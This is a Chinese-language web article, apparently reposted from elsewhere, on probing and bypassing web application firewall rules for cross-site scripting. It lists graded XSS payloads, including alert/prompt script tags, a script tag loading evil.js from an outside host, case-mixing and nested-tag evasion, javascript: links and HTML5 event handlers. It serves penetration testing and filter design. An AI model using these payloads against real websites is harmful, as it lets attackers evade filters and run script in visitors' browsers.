XSS现代WAF规则探测及绕过技能
发布时间：2022-05-09 09:01:23 所属栏目：安全 来源：互联网
导读：黑名单方式永远不是最好的解决办法，但是相对与白名单效率很高，对于WAF供应商来说，最好的实践如下：开发者和管理员要注意WAF只能缓解攻击，并且针对已知的弱点的防护只是和源代码修复的方法打个时间差 复制 1、使用无害的payload，类似b,i,u观察响应，判断
|
黑名单方式永远不是最好的解决办法，但是相对与白名单效率很高，对于WAF供应商来说，最好的实践如下：开发者和管理员要注意WAF只能缓解攻击，并且针对已知的弱点的防护只是和源代码修复的方法打个时间差…… 复制 1、使用无害的payload，类似<b>,<i>,<u>观察响应，判断应用程序是否被HTML编码，是否标签被过滤，是否过滤<>等等； 2、如果过滤闭合标签，尝试无闭合标签的payload（<b,<i,<marquee）观察响应； 3、尝试以下的payload <script>alert(1);</script> <script>prompt(1);</script> <script>confirm (1);</script> <script src="http://rhainfosec.com/evil.js"> 判断是否触发过滤规则，尝试使用大小写混合字符 复制 <scRiPt>alert(1);</scrIPt> 1、如果大小写不行的话，<script>被过滤尝试<scr<script>ipt>alert(1)</scr<script>ipt>； 2、使用<a>标签测试 <a href=“http://www.google.com">Clickme</a> <a被过滤？ href被过滤？ 其他内容被过滤？ 如果没有过滤尝试使用<a href=”javascript:alert(1)”>Clickme</a> 尝试使用错误的事件查看过滤<a href="rhainfosec.com" onclimbatree=alert(1)>ClickHere</a> HTML5拥有150个事件处理函数，可以多尝试其他函数<body/onhashchange=alert(1)><a href=#>clickit （编辑：宁德站长网） 【声明】本站内容均来自网络，其相关言论仅代表作者个人观点，不代表本站立场。若无意侵犯到您的权利，请及时与联系站长删除相关内容! |
站长推荐